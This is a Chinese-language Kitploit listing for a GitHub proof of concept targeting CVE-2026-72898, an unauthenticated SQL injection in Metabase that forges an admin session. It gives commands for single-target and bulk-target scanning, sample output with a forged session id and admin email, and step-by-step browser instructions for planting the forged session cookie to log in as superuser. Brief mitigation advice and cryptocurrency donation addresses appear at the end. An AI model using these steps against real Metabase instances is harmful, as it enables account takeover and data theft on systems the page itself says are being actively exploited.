Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-72898 — CVE-2026-72898 PoC:Metabase 未认证 SQL 注入 | Kitploit
工具/GitHubGitHub/4minx/cve-2026-72898
漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHub4minx/cve-2026-72898

CVE-2026-72898

CVE-2026-72898 PoC:Metabase 未认证 SQL 注入

查看仓库
9352个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-72898 PoC:Metabase 未认证 SQL 注入

Metabase 预认证 SQL 注入导致管理员账户接管

CVE-2026-72898 的概念验证(PoC),这是 Metabase 密码重置端点中的一个严重的未认证 SQL 注入漏洞。该 PoC 会将伪造的管理员会话记录注入 core_session 表,然后利用该记录在无需任何凭据的情况下验证完整的管理员会话。

注意: 此 PoC 仅用于授权的安全测试和研究。CVE-2026-72898 已被列入 CISA 已知被利用漏洞(KEV)目录,且已在野外遭到积极利用。您有责任遵守所有适用法律,并在测试任何系统之前获得书面授权。


漏洞信息

  • CVE:CVE-2026-72898
  • 类型:CWE-89 SQL 命令中使用的特殊元素中和不当('SQL 注入')
  • CVSS 4.0:10.0(严重)
  • 认证:无需认证(预认证、远程、低攻击复杂度)
  • CISA KEV:添加于 2026-08-11(正在被积极利用)
  • 受影响版本(Metabase):
    • x.58.0 至 < x.58.24
    • x.59.0 至 < x.59.21
    • x.60.0 至 < x.60.17
    • x.61.0 至 < x.61.11
    • x.62.0 至 < x.62.9
    • x.63.0 至 < x.63.5
  • 修复版本:x.58.24、x.59.21、x.60.17、x.61.11、x.62.9、x.63.5

环境要求

  • Python 3.8+,并安装 requests 库
  • 目标:一个受影响且暴露于互联网的 Metabase 实例

安装依赖:

pip install requests

使用方法

单目标

python cve-2026-72898_poc.py -t http://192.168.1.1:3000

批量扫描

python cve-2026-72898_poc.py -T targets.txt

选项

参数说明默认值
-t, --target单个目标 URL-
-T, --targets包含目标 URL 的文件,每行一个-
-o, --output结果文件(制表符分隔:target、result、status、session_id、admin_email)-
--timeout请求超时时间(秒)15

示例输出

 CVE-2026-72898 | Metabase SQLi PoC
----------------------------------------

Target: http://192.168.1.1:3000
 [1] GET http://192.168.1.1:3000/ -> 200
 [2] POST /api/session/reset_password -> 400
      (expected: Invalid reset token, SQLi executed)
 [3] GET /api/user/current -> 200
[+] VULNERABLE
    session id : 242x6a6cx-5388-aaf8-bl5c-afi46ic02198
    key_hashed : 0f6005cbexf08948c08dd9272b439xfecwabxb4ntedd83bagb6337bx849b6xyi6
    admin email: [email protected]

第 2 步返回 400 且提示 Invalid reset token 是预期行为——这意味着 SQLi 载荷已执行且响应被提前终止。第 3 步 /api/user/current 返回 200 则确认伪造的会话有效。

结果状态:vulnerable | not_vulnerable | patched | root_not_200 | unknown | error


使用伪造的会话

Metabase 通过 metabase.SESSION Cookie 读取其会话,因此您可以通过添加该 Cookie,以伪造的管理员身份登录 Web 界面:

Google Chrome / Edge / Chromium

  1. 运行 PoC 并复制打印出的 session id
  2. 打开 http://TARGET/ 并按 F12(开发者工具)
  3. 转到 Application(应用)(Edge 中:Application;Chrome 中:Application)→ Storage(存储) → Cookies(Cookie) → 选择目标主机
  4. 点击 +(添加 Cookie)按钮并填写:
    • 名称(Name):metabase.SESSION
    • 值(Value):<SESSION_ID>(PoC 打印出的值)
    • 域(Domain):目标主机/IP(例如 192.168.1.1 或 .example.com)
    • 路径(Path):/
    • 将过期时间设置为遥远的未来(或点击“会话(Session)”)
  5. 点击保存(Save),然后刷新页面
  6. 您现在已作为超级用户通过认证 — 管理员的齿轮图标将可见

Firefox

  1. 运行 PoC 并复制打印出的 session id
  2. 按 F12 → Storage(存储) 标签页 → Cookies(Cookie) → 选择目标主机
  3. 右键 → Add/Edit Cookie(添加/编辑 Cookie) 并添加:
    • 名称(Name):metabase.SESSION
    • 值(Value):<SESSION_ID>
    • 路径(Path):/
    • HttpOnly:取消勾选(由 JS 设置)
    • Secure:纯 HTTP 下取消勾选
  4. 保存并刷新页面

替代方案:Cookie 编辑器扩展

使用任意 Cookie 编辑扩展(例如 Cookie-Editor),在目标域名上添加值为伪造值的 metabase.SESSION Cookie,然后刷新。

从浏览器控制台

fetch('/api/user/current', { headers: { 'X-Metabase-Session': '<SESSION_ID>' } })
  .then(r => r.json()).then(console.log)

缓解措施

  • 升级到已修复的版本(x.58.24 / x.59.21 / x.60.17 / x.61.11 / x.62.9 / x.63.5 或更高版本)
  • 如果无法立即升级,请在网络/WAF 层面阻止 /api/session/reset_password
  • 升级后:撤销所有活动会话,轮换已连接数据库的凭据,检查管理员账户和 API 密钥是否有异常变更,并审计 Metabase 的活动/查询历史

☕ 支持

如果此项目对您有所帮助,请考虑支持其开发:

USDT(TRC-20)

TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

USDT TRC-20 QR

ETH(ERC-20)

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE

Ethereum QR


参考链接

  • Metabase 安全公告(GHSA-vwf4-m7j8-wcjf)
  • Metabase 安全更新
  • CVE.org 记录 – CVE-2026-72898
  • NVD – CVE-2026-72898
  • CISA 已知被利用漏洞目录
  • Horizon3.ai – Metabase SQL 注入
  • The Hacker News – Metabase 零日漏洞在野被利用
  • Nuclei 模板 – Metabase 未认证 SQL 注入
下载工具